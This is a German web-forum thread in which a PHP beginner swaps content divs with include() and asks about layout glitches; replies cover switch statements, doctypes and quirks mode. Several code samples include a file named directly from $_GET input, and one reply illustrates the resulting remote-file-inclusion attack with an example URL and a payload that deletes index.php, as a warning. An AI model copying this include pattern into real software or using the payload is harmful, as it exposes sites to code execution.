PHP div's wechseln bzw. austauschen

Hallo,

ich habe eine Web-Seite erstellt, sie besteht aus einen Kopf-, Nav- und Contentdiv.

Mittels PHP kann der contentdiv gewechselt werden.

Jedoch wird nach der Wahl über einen der Nav-optionen die Darstellung auf dem Bildschirm die einzelnen div’s mit mehr oder weniger breiten Ränder wiedergegeben.

Was mache ich falsch?

<?php if(isset($_GET['action']))
{ $action=$\_GET['action']; if(file\_exists("$action.php")) { include("$action.php"); } else { include("seite6.php"); } { include("seite3.php"); } { include("seite5.php"); } { include("seite4.php"); } { include("seite2.php"); } } ?\> Vielen Dank imvoraus

Servus,

Jedoch wird nach der Wahl über einen der Nav-optionen die
Darstellung auf dem Bildschirm die einzelnen div’s mit mehr
oder weniger breiten Ränder wiedergegeben.

Ist ein verdammtes Wunder, dass angesichts dieses Codechaos überhaupt was raus kommt.
Guckst du hier:

<?php if(isset($_GET['action']))
{ $action=$\_GET['action']; if(file\_exists($action.'.php')) { include($action.'.php'); } else { include("seite6.php"); include("seite3.php"); include("seite5.php"); include("seite4.php"); include("seite2.php"); } } ?\> > Was mache ich falsch? Die Breite der Ränder sind meist Browserabhängig. Entweder du googelst oder entwickelst die css-Hacks selbst. Gruß widecrypt

Hallo wydecrypt,

dieser „Chaoscode“ war mein erster Kontakt mit PHP.

Ich bin darauf gekommen, weil ich die Web-Seite ohne Frameset erstellen wollte.

Beim Aufruf wird die Webseite ohne Ränder dargestellt. Dieses ändert sich sobald man einen Menüpunkt anklickt.

Warum verhält sich CSS/HTML/PHP anders als CSS/HTML?

Wo kann darüber etwas lesen oder hast Du einen Lösungstip?

Viele Grüße

meilott

Also das ja schon mal kein schlechter ansatz.

aber nicht mit IF
sondern bei solchen schönen dingen ruhig via switch

$aktion = "home";
if (isset($\_GET['action']) {$aktion = $\_GET['action'];}

switch ($aktion) {
 case 'Home' : 
 include('wenn\_nix\_anderes.php');
 break;
 case 'Seite2' : 
 include('wenn\_Seite2.php');
 break;
 case 'Dritte' : 
 include('wenn\_Dritte.php');
 break;
 case 'Tips' : 
 include('Tips.php');
 break;
 case 'default' : 
 include('wenn\_nix\_anderes.php');
}

Nein PHP hat nix mit HTML zu tun. PHP gibt wenn höchsten HTML aus.
Also liegt es wie immer an der Sauberen Programmierung !!!
Ein leerzeichen etc . Doppelte Header etc.

Zeig mal den erzeugten HTML code. Und vergleich was dort anders ist. Z.b. machen viele den Fehler doppelte tags .

Zeig mal :smile:

korrektur

if (isset($\_GET['action'])) {$aktion = $\_GET['action'];}

Ein Kommentar zum Verfahren:

Mit einem Konstrukt wie

$action=$_GET[‚action‘];
if(file_exists("$action.php"))
include("$action.php");

NIEMALS arbeiten!!! Warum nicht? Falls Deine Datei z.b. index.php heißt, dann könnte irgendein Komiker (und davon gibt es Millionen) die Seite im Browser mit
„index.php?action=http://www.fiese-seite.de/aetsch
aufrufen.

Wenn dann der Inhalt von aetsch.php (auf seinem Server!!!) der folgende ist

unlink(„index.php“);
?>
dann löscht sich Deine Datei selber! Natürlich könnten in so einer Datei auch noch viel üblere Sachen drinstehen - immerhin hat sie kompletten Zugriff auf das PHP-Environment: Datenbanken, Dateisystem, Netzwerk…

Also wenn schon mit Includes dann z.B. so:

$action=$_GET[‚action‘];
if(file_exists(„meine_includes/$action.php“))
include(„meine_includes/$action.php“);

mit einem Ordner „meine_include“ in Deinem Webspace, in dem sich alle entsprechenden Dateien tummeln.

Oder auch

if(file_exists("$action.php") && !strstr( $action , „://“ ) )
include("$action.php");

was alle absoluten Pfade verhindert.

Besser is…

Kai

Hallo widecrypt, Thomas Punkt und Dampfhans,

vielen Dank Dank für doe Variationen wie man mittels PHP in HTML/CSS „div’s“ austauschen kann.

Es geht fast einfacher als mit Framset, aber das optische Bild ist miserabel.

Warum wird die CSS-Pisitionierung teilweise völlig mißachtet?

Kann das verhindert werden?

Viele Grüße

meilott

Servus,

Warum wird die CSS-Pisitionierung teilweise völlig mißachtet?

Weil jeder Browserhersteller der Meinung ist, sein Zeug sei das beste.

Kann das verhindert werden?

Nein.

Gruß
widecrypt

Tatsächlich sind sich die Browser mittlerweilen ziemlich einig, was die Darstellung angeht. Chrome, Firefox und Opera brauchen keine Unterscheidung mehr im HTML- oder CSS-Code.

Der IE ist seit Version 8 auch o.k. - er leistet sich nur einen kleinen „Spaß“, in dem er standardmäßig einen Kompatibilitätsmodus einschaltet, der ihn (bis heute!) wie einen IE5 arbeiten lässt - der sogenannte Quirksmode. Das lässt sich aber leicht verhindern, indem man in der HTML-Datei ganz vorne -noch vor dem HTML-Tag- einen Doctype angibt. z.B. mit

Welcher doctype es ist, ist dabei egal - der genannte ist harmlos :smile:

Wenn es tatsächlich zu gravierenden Unterschieden kommt, dann gehe ich davon aus, dass die CSS-Angaben fehlerhaft sind bzw. wichtige Angaben einfach weggelassen wurden. Da muss halt jeder Browser zusehen, wie er mit den Fehlern klar kommt und da kommen dann in der Tat sehr unterschiedliche Ergebnisse raus - aber die Browserhersteller sind nicht schuld.

Moin moin,

Warum wird die CSS-Pisitionierung teilweise völlig mißachtet?

was meinst du damit.

php hat nix mit HTML oder CSS zu tun.

Der Browser läd HTML und CSS und wendet das CSS an und macht ds ganze damit sichtbar.

Eine Seite sieht immer nur im jeweiligen Browser wirklich gleich aus. Woher der Quelltext nun kommt , ob via .html datei oder als Ausgabe von einem php , das ist egal . Der Quelltext wird im Browser verarbeite hat also schon nix mehr mit dem Server zu tun.

Zeig also deine Ausgabe der Seite (QUELLTEXT im BROWSER) .
Gut wäre auch ein reales Beispiel . Nicht das du .html dateien einbindest , etc .

Hallo Thomas Punkt,

natürlich binde ich .HTML-Dateien ein. Dieses habe ich aber von Anfang an hier kundgetan.

Wahrscheinlich ist auch der PHP-Code nicht an der richtigen Position, es ist wie ich schon schrieb mein 1. Versuch mit PHP zu arbeiten.

So nun noch einmal, was mein Problem ist:

Ich habe eine Web-Seite erstellt, die im HTML/CSS-Code korrekt, das heist ohne leere Zeilen/Spalten, angezeigt wird.

Nun möchte ich den Content-Bereich per Menü (2 x Text und 4 Tabellen) austauschen.

Mit HTML geht es anscheinend nicht, außer man arbeitet mit Frameset, deshalb habe ich es mit PHP versucht.

Es funktioniert, jedoch wird der Kopfbereich verdoppelt und zwischen den einzelnen Div’s sind aufeinmal weiße Zeilen/Spalten.

Wofür ich keine Erklärung habe.

Hier der CSS-Code:

@charset „utf-8“;
/* CSS Document */

html, body {
background-color:white;
margin:0px;
padding:0px;
}
#header {
background-color:#bdd7eb;
width:100%;
height:85px;
text-align:center; vertical-align: auto;
font-size:50px;
font-family: „Segoe UI“, Candara, „Bitstream Vera Sans“, „DejaVu Sans“,
„Bitstream Vera Sans“, „Trebuchet MS“, Verdana, „Verdana Ref“, sans-serif;
background-image:url(hbkopf.jpg);
background-repeat: repeat-x;
color:#0000ff;
background-color:#b2cc05;
}
#sidebar { position:absolute;
margin:0px;
padding:0px;
top:68px;
left:-40px;
width:220px;
border-bottom:none;
}

#nav li { background-color: #e3e09f; font-weight: bold; font-size: 1.1em; border-bottom: 0px solid #423e33; list-style-type:none; }
#nav>li:first-child { border-top: 2px solid #423e33; }
#nav li:hover { background-color: #423e33; }
#nav li a { color: #423e33; text-decoration: none; padding: 3px 10px 3px 10px; display: block; }
#nav li:hover a{ color: #e3e09f }
#content { position:absolute;
margin:0px;
padding:30px 30px;
top:85px;
left:180px;
background-image:url(hbseite1.jpg);
background-repeat:repeat;
font-size: 18px;
font-style:italic;
line-height:2.5;
color:#ffff00;
}
#content2 { position:absolute;
margin:0px;
padding:30px 30px;
top:85px;
left:180px;
background-image:url(hbseite1.jpg);
background-repeat:repeat;
font-size: 24px;
font-style:italic;
font-weight:bold;
line-height:2.5;
color:#ffff00;
}

Und hier der HTML-Code:

Prägevarianten der Eurokursmünzen

Menü

Einführung

Liste Kursmünzen

Kursmünzen

Liste CC-Münzen

CC-Münzbilder

Info-Seite

<?php
if (isset($\_GET['action'])) {$aktion = $\_GET['action'];}  
  
switch ($aktion) {  
case 'Home' :   
include('seite1.html');  
break;  
case 'seite6' :   
include('wenn\_seite6.html');  
break;  
case 'seite3' :   
include('wenn\_seite3.html');  
break;  
case 'seite5' :   
include('wenn\_seite5.html');  
break;  
case 'seite4' :   
include('wenn\_seite4.html');  
break;  
case 'seite2' :   
include('seite2.html');  
break;  
case 'default' :   
include('seite1.html');  
}  
?\>  
  
  
  
**Eurokursmünzbilder im Wandel der Zeit**   
 Wir haben eine Übersicht erstellt, aus der ersichtlich wird wie die Münzbilder der Kursmünzen im Laufe der Zeit verändert wurden.   
 Scheinbar sind die Münzmotive seit 2002 gleich geblieben, aber neben der Jahreszahl sind viele interessante Änderungen im Münzbild geprägt worden. Zum Teil sind es nur minimale, wie z.B.:   
  

  
- Spanien 2008, wo gegenüber 2007 leichte Korrekturen im Münzbild und in der Schrift vorgenommen wurden
  
- Luxemburg und Niederlande, die neben den glänzenden auch noch matte Münzbilder prägten
  
- Belgien, Spanien mit mehrmals geänderten Motiv
  
- die Niederlande, Frankreich, Slovenien mit häufig wechselndem Münzzeichen.
  
- Münzprägungen außerhalb und innerhalb des prägenden Ausgabelandes wie Griechenland 2002
  
  
 Für viele Sammler ist es interessant zu wissen welcher Art Änderungen der Euromünzen bestehen. Hierzu sollen mit der Aufstellung Hinweise gegeben werden.   
 In der Übersicht wird der Prägezeitraum mit 2 Zahlen beziffert.   
  
  
 Die **1.** Zahl (Zahl **vor** dem Punkt) bezeichnet die Variante der **Wertseite**.   
 Die **2.** Zahl (Zahl **nach** dem Punkt) bezeichnet die Variante der **Länderseite**.   
  
 Wir hoffen, dass euch die Übersicht das Suchen etwas Erleichtert   
    
    
    
    
    
    
    
  
  
  
  
Viele Grüße  
  
meilot

Moin moin,

natürlich binde ich .HTML-Dateien ein. Dieses habe ich aber
von Anfang an hier kundgetan.

normalerweise bindet man php dateien ein . und im erstenbeispiel standen auch nur seiten.php

Nun zum problem :

deine index.html hier
hat ein doctype und ein div mit dem header prehtml>"-//W3C//DTD XHTML 1.0 Transitional//EN"
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“>

Prägevarianten der Eurokursmünzen

wenn du jetzt hier was includierst unzwar eine andere Seite Ohne dort die Inforamtionen abzuschneiden die es hier schon gibt . z.b. doppelte überschrift oder auch doctype oder …

deine einzubindende seite wird 1 zu 1 dort hin gepackt wo du das include geschrieben hast.

hier wäre also wichtig auch noch die anderen seiten zu sehen .

wie gesagt es ist einfacher die Seiten zu machen und das menu dazu zu holen. Oder wenn voll dynmasisch , ist die erste seite als layout gedacht und hohlt sich nur kontext.

Es liegt an dem was man hat und was man möchte. Wenn da nur html dateien sind die schon fertig sind und ich will die einbinden dann wäre vielleicht einfacher nur den inhalt aus dem zu extrahieren , aber dann hat man wieder probleme mit style sheets die dort festgelegt wurden.
Ich will damit sagen , wenn man mit resourcen arbeitet die schon „problematisch“ sind , weil sie eben auf ein altes system beruhen, dann kann man das entweder neu machen oder muss sich eine umformatierung zu nutze machen.

thomas punkt.

Anscheinend hat die Oberfläche von wer-weiss-was.de den Code total versaut.

Setze den Code bitte nochmal rein und setze ein außen rum. Was man auf dem Bildschirm sieht hat jedenfalls nur noch sehr wenig mit HTML zu tun :smile:

Hallo,

Warum verhält sich CSS/HTML/PHP anders als CSS/HTML?

tut es nicht. PHP hat nichts mit der Ausgabe im Browser zu tun. Mit PHP kannst Du eine statische HTML-Seite erstellen, so als würdest Du sie im Texteditor aufbauen.

Wenn sich etwas anders verhält, sobald Du PHP einsetzt, dann machst Du in dem Falle wirklich etwas anders, was Du ohne PHP nicht machst. Guck Dir an, was PHP für einen Output erzeugt (im Browser „Quelltext anzeigen“) und suche nach den Unterschieden. Die sind für das vermeintlich andere Verhalten von PHP verantwortlich.

Liebe Grüße,
-Efchen

Moin,

$action=$_GET[‚action‘];
if(file_exists("$action.php"))
include("$action.php");

NIEMALS arbeiten!!!
„index.php?action=http://www.fiese-seite.de/aetsch

Das Problem, was Du hier nennst, ist aber konfigurationsabhängig: http://de.php.net/manual/en/filesystem.configuration…

Ist der Server sicher konfiguriert, dann versucht include() eine Datei „http://www.fiese-seite.de/aetsch“ im aktuellen Verzeichnis auf dem eigenen Server zu lesen, diese wird es wohl nicht geben.

Je nach Einstellung liest include() Dateien im eigenen Filesystem, nicht URLs und es öffnet dann auch keine HTTP-Verbindung.

Grüße,
-Efchen

Moin,

Tatsächlich sind sich die Browser mittlerweilen ziemlich
einig, was die Darstellung angeht.

Das erzähl mal jemandem mit Lynx oder einem Vorlesebrowser :wink:

der sogenannte Quirksmode. Das
lässt sich aber leicht verhindern, indem man in der HTML-Datei
ganz vorne -noch vor dem HTML-Tag- einen Doctype angibt.

Einen Doctype sollte man IMMER angeben, um dem Browser zu sagen, in welchem Dialekt die Seite geschrieben ist. Außerdem hilft nicht irgendein Doctype, es muss schon der richtige sein. Da gibts Übersichten, wo man sieht welchen Doctype man braucht, um den IE in den Standards Mode zu schalten.

z.B. mit

http://www.w3.org/TR/html4/loose.dtd“>

Den würde ich aus inhaltlichen Gründen nicht empfehlen, weil das nur ein Übergangs-Doctype ist, für uralte Websites, die erstellt wurden, bevor es Doctypes gab. Üblicherweise sollte man in einer Strict-Variante schreiben. Macht ja keinen Sinn, absichtlich in einem Dialekt zu schreiben, der fehlertolerant ist.

Welcher doctype es ist, ist dabei egal

Eben nicht.

Grüße,
-efchen

Hallo,

ich hab auf die Schnelle hier was schönes gefunden, da wird mit einem Bild verdeutlicht, wie PHP funktioniert - das könnte für Dich wichtig sein, damit Du zum einen verstehst, warum Dein PHP-Script nichts mit der Darstellung im Browser zu tun hat, und zum anderen weißt, an welche Stelle Du welchen PHP-Code einfügen sollst.

Viele Grüße,
-Efchen

Moin moin,

ich hab auf die Schnelle hier was schönes gefunden, da wird
mit einem Bild verdeutlicht, wie PHP funktioniert - das könnte

wo ist der link denn hin ?

Keine Ahnung :frowning:

Aber einfach mal nach „Wie funktioniert PHP googlen“ hilft ja auch schon.

Hier ist der Link: http://freakstuff.de/php_functionality

Ich hätte schören können, den eingefügt zu haben. Sorry.